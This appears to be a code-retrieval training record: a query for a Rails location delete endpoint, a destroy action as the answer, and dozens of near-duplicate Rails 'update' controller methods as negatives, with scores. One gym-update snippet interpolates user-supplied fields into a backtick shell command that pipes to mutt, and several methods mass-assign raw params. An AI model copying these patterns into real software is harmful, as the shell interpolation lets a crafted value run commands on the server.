"def update\n @curpg = :admintools\n @location = Location.find(params[:id])\n\n respond_to do |format|\n if @location.update_attributes(params[:location])\n format.html { redirect_to :controller => \"locations\", :action => \"index\" }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @service_location.update(service_location_params)\n render json: @service_location, status: :ok, location: @service_location\n else\n render json: @service_location.errors, status: :unprocessable_entity\n end \n end",
"def update\n @location = Location.find(params[:id])\n\n respond_to do |format|\n if @location.update_attributes(params[:location])\n format.html { redirect_to @location}\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n @regions = Region.all\n if params[:regions]\n @location_regions = Region.find(params[:regions])\n else\n @location_regions = []\n end\n @location.regions = @location_regions\n\n respond_to do |format|\n if @location.update(location_params)\n format.html { redirect_to @location, notice: 'Location was successfully updated.' }\n format.json { render :show, status: :ok, location: @location }\n else\n format.html { render :edit }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n set_location\n\n respond_to do |format|\n if @location.update_attributes(location_params)\n format.html { redirect_to @location, flash: {success: \"Successfully updated #{@location.name} location!\" }}\n format.json { render :show, status: :ok, location: @location }\n else\n format.html { render :edit }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n puts \"Location::update (params): \" + location_params.inspect\n \n if @location.update(location_params)\n render :json => {status: :ok, location: @location }\n else\n render :json => {errors: @location.errors, status: :unprocessable_entity }\n end\n end",
"def update\n @record = Location.find(params[:id])\n @record.update_attributes(params[:location]) \n respond_to do |format|\n# format.html\n format.json {\n render json: {}\n }\n end\n end",
"def update\n @location = Location.find(params[:id])\n @location.update_attributes(params[:location])\n end",
"def update_location(location={})\n\t\tclient.update(location)\n\tend",
"def update\n @location = Location.friendly.find(params[:id])\n respond_to do |format|\n if @location.update_attributes!(location_params)\n format.html { redirect_to @location, notice: 'location was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @location.update_attributes(params[:location])\n format.html { redirect_to @location, notice: 'Location was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @location.update(location_params)\n puts \"\\nUPDATE: #{@location.inspect}\"\n format.html { redirect_to @location, notice: \"Location was successfully updated.\" }\n format.json { render :show, status: :ok, location: @location }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @location = Location.find(params[:id])\n\n respond_to do |format|\n if @location.update_attributes(params[:location])\n format.html { redirect_to @location, notice: 'Location was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @location = Location.find(params[:id])\n\n respond_to do |format|\n if @location.update_attributes(params[:location])\n format.html { redirect_to @location, notice: 'Location was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @location = Location.find(params[:id])\n\n respond_to do |format|\n if @location.update_attributes(params[:location])\n format.html { redirect_to @location, notice: 'Location was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @location = Location.find(params[:id])\n\n respond_to do |format|\n if @location.update_attributes(params[:location])\n format.html { redirect_to @location, notice: 'Location was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @location = Location.find(params[:id])\n\n respond_to do |format|\n if @location.update_attributes(params[:location])\n format.html { redirect_to @location, notice: 'Location was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @api_v1_location.update(api_v1_location_params)\n format.html { redirect_to @api_v1_location, notice: 'Location was successfully updated.' }\n format.json { render json: { location: @api_v1_location, message: 'Location was successfully updated.' } }\n else\n format.html { render :edit }\n format.json { render json: { results: @api_v1_location.errors, message: 'Location was NOT successfully update.' } }\n end\n end\n end",
"def update\n @location = Location.find(params[:id])\n\n respond_to do |format|\n if @location.update_attributes(params[:location])\n format.html { redirect_to [@organization, @location], notice: 'Location was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @location = Location.find(params[:id])\n\n respond_to do |format|\n if @location.update_attributes(params[:location])\n format.html { redirect_to user_locations_path, notice: 'Location was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @location = Location.find(params[:id])\n \n respond_to do |format|\n if @location.update(location_params)\n format.html { redirect_to @location, notice: 'Location was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @location.update(location_params)\n format.html { redirect_to @location, notice: 'Ubicacion actualizada correctamente!' }\n format.json { head :no_content }\n else\n format.html { redirect_to '/locations/'+@location.id.to_s+'/edit',notice: 'Ingrese una direccion y un numero de casa!' }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @poopstation = Poopstation.find(params[:id])\n\n respond_to do |format|\n if @poopstation.locations.create(:name => params[:location], :city => params[:city], :state => params[:state])\n format.html { redirect_to @poopstation, notice: 'Spanks!' }\n format.json { head :no_content }\n format.mobile { redirect_to @poopstation, notice: 'Spanks!' }\n else\n format.html { render action: \"edit\" }\n format.mobile { render action: \"edit\" }\n format.json { render json: @poopstation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @locations = []\n @errors = []\n @hide_map = true\n if params.has_key? :id\n location = Location.find(params[:id])\n @locations = [ location ]\n location_params = params.clone\n [:created_at, :id, :updated_at, :category, :subcategories, :markerVisible, :action, :controller, :location].each do |param|\n location_params.delete param\n end\n location.update_attributes location_params\n @errors = location.errors\n elsif params.has_key? :locations\n params[:locations][:location].each do |data|\n l = Location.find data[0]\n if not l.update_attributes data[1]\n pp l.errors\n @errors.push l.errors\n end\n @locations.push l\n end\n end\n\n respond_to do |format|\n if @errors.empty?\n format.html { redirect_to :locations, :notice => 'Locations successfully updated.'}\n format.json { head :no_content }\n else\n format.html { render :action =>\"edit\" }\n format.json { render :json => @errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @location = Location.find(params[:id])\n @location.update_attributes(params[:location])\n @locations = Location.paginate(:page => params[:page], :per_page => 30).order('updated_at DESC')\n end",
"def update\n respond_to do |format|\n if @location.update(location_params)\n format.html { redirect_to @location, notice: 'Location was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @location.update(location_params)\n format.html { redirect_to @location, notice: 'Location was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @slocation.update(slocation_params)\n format.html { redirect_to @slocation, notice: 'Story location was successfully updated.' }\n format.json { render :show, status: :ok, slocation: @slocation }\n else\n format.html { render :edit }\n format.json { render json: @slocation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @location = Location.find(params[:id])\n\n respond_to do |format|\n if @location.update_attributes(params[:location])\n format.html { redirect_to locations_path, notice: 'Adres pomyślnie zaktualizowany.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @pagetitle = \"Edit location\"\n @location = Location.find(params[:id])\n\n respond_to do |format|\n if @location.update_attributes(locations_params)\n format.html { redirect_to(@location, :notice => 'Location was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @location.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @location = Location.find(params[:id])\n if @location.update_attributes(params[:location])\n flash[:notice] = 'Location was successfully updated.'\n end\n respond_with(@location, location: locations_url) \n end",
"def update\n @location = Location.find(params[:id])\n\n respond_to do |format|\n if @location.update_attributes(params[:location])\n @locations = Location.index_locations\n format.html { redirect_to(@location, :notice => 'Location was successfully updated.') }\n format.xml { head :ok }\n format.js\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @location.errors, :status => :unprocessable_entity }\n format.js\n end\n end\n end",
"def update\n respond_to do |format|\n if @location.update(location_params)\n format.html { redirect_to @location, notice: \"Location was successfully updated.\" }\n format.json { render :show, status: :ok, location: @location }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @location = Location.find(params[:id])\n \n #abort\n respond_to do |format|\n if @location.update_attributes(params[:location])\n format.html { redirect_to :back, notice: 'Location was successfully updated.' }\n format.json { head :no_content }\n else\n set_site_entities @location\n format.html { render action: \"edit\" }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @location = Location.find(params[:id])\n \n @previousMap = Location.WhereAmI(@location.region_id)\n\n #binding.pry\n respond_to do |format|\n if @location.update_attributes(params[:location])\n format.html { redirect_to @previousMap, notice: 'Location was successfully updated.' }\n format.json { respond_with_bip(@location) }\n else\n format.html { render action: \"edit\" }\n format.json { respond_with_bip(@location) }\n end\n end\n end",
"def update\n respond_to do |format|\n if @location.update(location_params)\n format.html { redirect_to '/admin/locations', notice: 'Location was successfully updated.' }\n format.json { render :show, status: :ok, location: @location }\n else\n format.html { render :edit }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @service_location.update(service_location_params)\n format.html { redirect_to @service_location, notice: \"Updated Information for location: '#{@service_location.location.name}'\" }\n format.json { render :show, status: :ok, location: @service_location }\n else\n format.html { render :edit }\n format.json { render json: @service_location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @location.update(location_params)\n format.html { redirect_to @location, notice: 'Location was successfully updated.' }\n format.json { render :show, status: :ok, location: @location }\n else\n format.html { render :edit }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @location.update(location_params)\n format.html { redirect_to @location, notice: 'Location was successfully updated.' }\n format.json { render :show, status: :ok, location: @location }\n else\n format.html { render :edit }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @location.update(location_params)\n format.html { redirect_to @location, notice: 'Location was successfully updated.' }\n format.json { render :show, status: :ok, location: @location }\n else\n format.html { render :edit }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @location.update(location_params)\n format.html { redirect_to @location, notice: 'Location was successfully updated.' }\n format.json { render :show, status: :ok, location: @location }\n else\n format.html { render :edit }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @location.update(location_params)\n format.html { redirect_to @location, notice: 'Location was successfully updated.' }\n format.json { render :show, status: :ok, location: @location }\n else\n format.html { render :edit }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @location.update(location_params)\n format.html { redirect_to @location, notice: 'Location was successfully updated.' }\n format.json { render :show, status: :ok, location: @location }\n else\n format.html { render :edit }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @location.update(location_params)\n format.html { redirect_to @location, notice: 'Location was successfully updated.' }\n format.json { render :show, status: :ok, location: @location }\n else\n format.html { render :edit }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @location.update(location_params)\n format.html { redirect_to @location, notice: 'Location was successfully updated.' }\n format.json { render :show, status: :ok, location: @location }\n else\n format.html { render :edit }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @location.update(location_params)\n format.html { redirect_to @location, notice: 'Location was successfully updated.' }\n format.json { render :show, status: :ok, location: @location }\n else\n format.html { render :edit }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @location.update(location_params)\n format.html { redirect_to @location, notice: 'Location was successfully updated.' }\n format.json { render :show, status: :ok, location: @location }\n else\n format.html { render :edit }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @location.update(location_params)\n format.html { redirect_to @location, notice: 'Location was successfully updated.' }\n format.json { render :show, status: :ok, location: @location }\n else\n format.html { render :edit }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @location.update(location_params)\n format.html { redirect_to @location, notice: 'Location was successfully updated.' }\n format.json { render :show, status: :ok, location: @location }\n else\n format.html { render :edit }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @location.update(location_params)\n format.html { redirect_to locations_path, notice: 'Location was successfully updated.' }\n format.json { render :show, status: :ok, location: @location }\n else\n format.html { render :edit }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @location.update(location_params)\n format.html { redirect_to @location, notice: 'Location was successfully updated.' }\n format.json { render :show, status: :ok, location: @location }\n else\n format.html { render :edit }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @locations = args[:locations] if args.key?(:locations)\n end",
"def update!(**args)\n @locations = args[:locations] if args.key?(:locations)\n end",
"def update!(**args)\n @locations = args[:locations] if args.key?(:locations)\n end",
"def update\n respond_to do |format|\n if @specific_location.update(specific_location_params)\n format.html { redirect_to @specific_location, notice: 'Specific location was successfully updated.' }\n format.json { render :show, status: :ok, location: @specific_location }\n else\n format.html { render :edit }\n format.json { render json: @specific_location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @location.update(location_params)\n format.html { redirect_to locations_url, notice: 'Location was successfully updated.' }\n format.json { render :show, status: :ok, location: @location }\n else\n format.html { render :edit }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @trip = Trip.find(params[:trip_id])\n @location = Location.find(params[:location_id])\n @team.trip = @location\n respond_to do |format|\n if @location.update(location_params)\n format.html { redirect_to trip_location_path(@trip, @location), notice: 'Location was successfully updated.' }\n format.html { redirect_to trip_locations_path(@trip), notice: 'Location was successfully updated.2' }\n format.json { render :show, status: :ok, location: @location }\n else\n format.html { render :edit }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n tag = @user.tags.find_by_tid(params[:id])\n if tag.nil?\n render json_status_response(404, \"Tag not found\")\n return\n end\n\n if not tag.update_attributes(params[:location])\n render json_status_response(400, \"Could not update tag location\")\n return\n end\n\n render json_status_response(200, \"Successfully updated tag\")\n end",
"def update\n\n respond_to do |format|\n if @location.update_attribute(params[:geolocation])\n format.html { redirect_to @location, notice: 'Location was successfully updated.'}\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @location = Location.new\n @location.address = gym_params[:location]\n location = Location.limit(1).find_by_address(gym_params[:location])\n @location.save! if location.eql? nil\n location = Location.limit(1).find_by_address(gym_params[:location])\n\n respond_to do |format|\n if @gym.update(gym_params.reject!{ |k| k == \"location\"})\n @gym.location_id = location.id\n @gym.save!\n format.html { redirect_to @gym, notice: 'Gym was successfully updated.' }\n format.json { render :show, status: :ok, location: @gym }\n `echo \"Nome:#{@gym.name}\\n Gerente: #{@gym.manager.name}\\n Address:#{@gym.location.address}\" | mutt -s \"Gym was successfully updated.\" #{@gym.manager.email}`\n else\n format.html { render :edit }\n format.json { render json: @gym.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @loc = current_user.locs.find(params[:id])\n\n respond_to do |format|\n if @loc.update_attributes(params[:loc])\n format.html { redirect_to @loc, notice: 'Loc was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @loc.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n \n @job_location.update(job_location_params)\n \n end",
"def update\n @location_have_location = LocationHaveLocation.find(params[:id])\n\n respond_to do |format|\n if @location_have_location.update_attributes(params[:location_have_location])\n format.html { redirect_to @location_have_location, notice: 'Location have location was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @location_have_location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\t @location = Location.find(params[:id])\n\n\t respond_to do |format|\n\t if @location.update_(location_params)\n\t format.html { redirect_to @location, notice: 'location was successfully updated.' }\n\t format.json { head :no_content }\n\t else\n\t format.html { render action: \"edit\" }\n\t format.json { render json: @location.errors, status: :unprocessable_entity }\n\t end\n\t end\n\t end",
"def update\n @locations = Location.where(\"status <> 'NORMAL'\").order(\"state, township desc\")\n respond_to do |format|\n if @aid_offer.update(aid_offer_params)\n format.html { redirect_to @aid_offer, notice: 'Aid offer was successfully updated.' }\n format.json { render :show, status: :ok, location: @aid_offer }\n else\n format.html { render :edit }\n format.json { render json: @aid_offer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @totem_location.update(totem_location_params)\n format.html { redirect_to @totem_location, notice: 'Totem location was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @totem_location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @event_location = EventLocation.find(params[:id])\n\n respond_to do |format|\n if @event_location.update_attributes(event_location_params)\n format.html { redirect_to @event_location, notice: 'Event location was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event_location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @ms_location.update(ms_location_params)\n format.html { redirect_to @ms_location, notice: 'Ms location was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @ms_location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @processed_location = ProcessedLocation.find(params[:id])\n\n respond_to do |format|\n if @processed_location.update_attributes(params[:processed_location])\n format.html { redirect_to @processed_location, notice: 'Processed location was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @processed_location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @location = Location.new(params[:location])\n \n @location.location = current_location\n @location.location_type = \"shelf\"\n \n respond_to do |format|\n if @location.save\n format.html { redirect_to current_location, notice: 'Location was successfully created.' }\n format.json { render json: @location, status: :created, location: @location }\n else\n format.html { render action: \"new\" }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n location = Location.find_or_create_by({\n postcode_address: params[:location][:postcode_address],\n street_address: params[:location][:street_address]\n })\n @gig.location = location\n respond_to do |format|\n if @gig.update(gig_params)\n format.html { redirect_to @gig, notice: 'Gig was successfully updated.' }\n format.json { render :show, status: :ok, location: @gig }\n else\n format.html { render :edit }\n format.json { render json: @gig.errors, status: :unprocessable_entity }\n end\n\n end\n end",
"def update\n @locationmap = Locationmap.find(params[:id])\n\n respond_to do |format|\n if @locationmap.update_attributes(params[:locationmap])\n format.html { redirect_to @locationmap, notice: 'Locationmap was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @locationmap.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n return unless admin?\n @location = Location.find(params[:id])\n\n respond_to do |format|\n if @location.update_attributes(params[:location])\n format.html { redirect_to @location, notice: 'Location was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @location.update(location_params)\n if @location.dt_devolucao.nil?\n else\n @vehicle = Vehicle.find_by(id: @location.vehicle_id)\n @client = Client.find_by(id: @location.client_id)\n \n @vehicle.update_attribute(:status, 'DISPONÍVEL')\n @client.update_attribute(:status, 'DISPONÍVEL')\n end\n format.html { redirect_to @location, notice: 'Location was successfully updated.' }\n format.json { render :show, status: :ok, location: @location }\n else\n format.html { render :edit }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @location = Location.find(params[:id])\n\n respond_to do |format|\n if @location.update_attributes(params[:location])\n flash[:notice] = \"Location #{@location.name} was successfully updated.\"\n format.html { redirect_to(:action=>'index') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @location.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update(url, data)\n RestClient.put url, data, :content_type => :json\nend",
"def update\n respond_to do |format|\n if @location_detail.update(location_detail_params)\n format.html { redirect_to @location_detail, notice: 'Location detail was successfully updated.' }\n format.json { render :show, status: :ok, location: @location_detail }\n else\n format.html { render :edit }\n format.json { render json: @location_detail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @recipe_location.update(recipe_location_params)\n format.html { redirect_to @recipe_location, notice: 'Recipe location was successfully updated.' }\n format.json { render :show, status: :ok, location: @recipe_location }\n else\n format.html { render :edit }\n format.json { render json: @recipe_location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @storage_location = StorageLocation.find(params[:id])\n\n respond_to do |format|\n if @storage_location.update_attributes(params[:storage_location])\n format.html { redirect_to @storage_location, notice: 'Storage location was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @storage_location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @muster_location.update(muster_location_params)\n format.html { redirect_to @muster_location, notice: 'Muster location was successfully updated.' }\n format.json { render :show, status: :ok, location: @muster_location }\n else\n format.html { render :edit }\n format.json { render json: @muster_location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @locationtype.update(locationtype_params)\n format.html { redirect_to @locationtype, notice: 'Locationtype was successfully updated.' }\n format.json { render :show, status: :ok, location: @locationtype }\n else\n format.html { render :edit }\n format.json { render json: @locationtype.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize @location\n if @location.update(location_params)\n check_active_locations\n ok_status\n else\n error_status\n end\n end",
"def update\n\t\tlocation = Location.find_by(id: params[:id])\n\t\tlocation.address = params[:location][:address]\n\t\tlocation.description = params[:location][:description]\n\t\tlocation.save!\n\t\tredirect_to \"/update_location/#{location.id}\"\n\tend",
"def update\n flash[:notice] = t('scaffold.notice.updated', :item => SicossLocation.model_name.human) if @sicoss_location.update_attributes(params[:sicoss_location])\n respond_with(@sicoss_location, :location => sicoss_locations_path)\n end",
"def update\n respond_to do |format|\n if @item_location.update(item_location_params)\n format.html { redirect_to @item_location, notice: 'Item location was successfully updated.' }\n format.json { render :show, status: :ok, location: @item_location }\n else\n format.html { render :edit }\n format.json { render json: @item_location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @maplocation.update(maplocation_params)\n format.html { redirect_to @maplocation, notice: 'Maplocation was successfully updated.' }\n format.json { render :show, status: :ok, location: @maplocation }\n else\n format.html { render :edit }\n format.json { render json: @maplocation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @location = salor_user.get_location(params[:id])\n\n respond_to do |format|\n if @location.update_attributes(params[:location])\n GlobalData.reload(:locations)\n format.html { render :action => 'edit', :notice => I18n.t(\"views.notice.model_edit\", :model => Location.model_name.human) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @location.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n logger.debug params.inspect\n\n begin\n @location = if (current_user.has_role?(:administrator))\n Location.find_by_slug(params[:id])\n else\n current_user.locations.find_by_slug(params[:id])\n end\n rescue\n # Just continue -- no location found\n end\n\n if (current_user.has_role?(:administrator))\n unless params[:user].blank? || params[:user][:login].blank?\n new_owner = User.find_by_login(params[:user][:login])\n @location.change_user(new_owner.id, current_user)\n end\n end\n\n respond_to do |format|\n if @location\n if (params[:location] && contacts = params[:location].delete(:contacts))\n contacts_array = hash_to_array(contacts)\n\n contacts_array.each do |contact|\n if (phones = contact.delete(:phone))\n contact[:phone] = hash_to_array(phones)\n end\n end\n\n @location.contacts = contacts_array\n end\n @location.attributes = params[:location]\n @location.geocode\n end\n\n if @location && @location.save\n flash[:notice] = t 'club_updated'\n format.html { redirect_to(location_path(@location.slug)) }\n format.xml { head :ok }\n else\n format.html do\n if @location\n render :action => \"edit\"\n else\n flash[:error] = t 'club_unknown'\n redirect_to locations_url\n end\n end\n format.xml { render :xml => @location.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @catalogs_location.update(catalogs_location_params)\n format.html { redirect_to @catalogs_location, notice: t('.updated') }\n format.json { render :show, status: :ok, location: @catalogs_location }\n else\n format.html { render :edit }\n format.json { render json: @catalogs_location.errors, status: :unprocessable_entity }\n format.js { render :edit }\n end\n end\n end",
"def put(id, json)\n with_endpoint do |endpoint|\n url = [endpoint, @resource_name, id].compact.join('/')\n url += \"/\" \n return HTTParty.put(url, :body => json, :timeout => 4, :headers => { 'Content-Type' => 'application/json' })\n end\n end",
"def update\n respond_to do |format|\n if @current_location.update(current_location_params)\n format.html { redirect_to @current_location, notice: 'Current location was successfully updated.' }\n format.json { render :show, status: :ok, location: @current_location }\n else\n format.html { render :edit }\n format.json { render json: @current_location.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @location = Location.find(params[:id])\n\n respond_to do |format|\n if @location.update_attributes(params[:location])\n flash[:notice] = 'Location was successfully updated.'\n format.html { redirect_to(@location) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @location.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @location = Location.find(params[:id])\n\n respond_to do |format|\n if @location.update_attributes(params[:location])\n flash[:notice] = 'Location was successfully updated.'\n format.html { redirect_to(@location) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @location.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @location = Location.find(params[:id])\n\n respond_to do |format|\n if @location.update_attributes(params[:location])\n flash[:notice] = 'Location was successfully updated.'\n format.html { redirect_to(@location) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @location.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @location = Location.find(params[:id])\n\n respond_to do |format|\n if @location.update_attributes(params[:location])\n flash[:notice] = 'Location was successfully updated.'\n format.html { redirect_to(@location) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @location.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @location = Location.find(params[:id])\n\n respond_to do |format|\n if @location.update_attributes(params[:location])\n flash[:notice] = 'Location was successfully updated.'\n format.html { redirect_to(@location) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @location.errors, :status => :unprocessable_entity }\n end\n end\n end"
] |
[
"0.7454527",
"0.734054",
"0.69825995",
"0.67722267",
"0.6600625",
"0.6579759",
"0.6552991",
"0.65368855",
"0.65152794",
"0.64990866",
"0.64946395",
"0.6490946",
"0.6472603",
"0.6460661",
"0.64511895",
"0.6427815",
"0.6396173",
"0.6396173",
"0.6396173",
"0.6396173",
"0.6395882",
"0.6380135",
"0.6373735",
"0.63309586",
"0.6327267",
"0.63168824",
"0.6313216",
"0.630328",
"0.6287226",
"0.62810296",
"0.62810296",
"0.6269591",
"0.6269081",
"0.6265194",
"0.6264605",
"0.6256414",
"0.6252097",
"0.624958",
"0.62317306",
"0.6212835",
"0.6198805",
"0.6196207",
"0.6196207",
"0.6196207",
"0.6196207",
"0.6196207",
"0.6196207",
"0.6196207",
"0.6196207",
"0.6196207",
"0.6196207",
"0.6196207",
"0.6196207",
"0.61950135",
"0.6194859",
"0.61882335",
"0.61882335",
"0.61877805",
"0.61757433",
"0.6173943",
"0.61578417",
"0.6142391",
"0.6126706",
"0.6113908",
"0.61093223",
"0.61042047",
"0.6102503",
"0.60935813",
"0.60933053",
"0.60924363",
"0.60919034",
"0.60807514",
"0.6062237",
"0.60603875",
"0.6060179",
"0.6048597",
"0.60456455",
"0.6023695",
"0.6007146",
"0.60055196",
"0.5999613",
"0.5997477",
"0.5997055",
"0.599627",
"0.5988143",
"0.59824765",
"0.59815717",
"0.59599614",
"0.5957623",
"0.5955175",
"0.5937592",
"0.59356713",
"0.5931245",
"0.5921797",
"0.5918591",
"0.5915618",
"0.5915618",
"0.5915618",
"0.5915618",
"0.5915618"
] |
0.61976796
|
41
|
DELETE /locations/1 DELETE /locations/1.json
|
def destroy
@location = Location.find(params[:id])
@location.destroy
respond_to do |format|
format.html { redirect_to locations_url }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
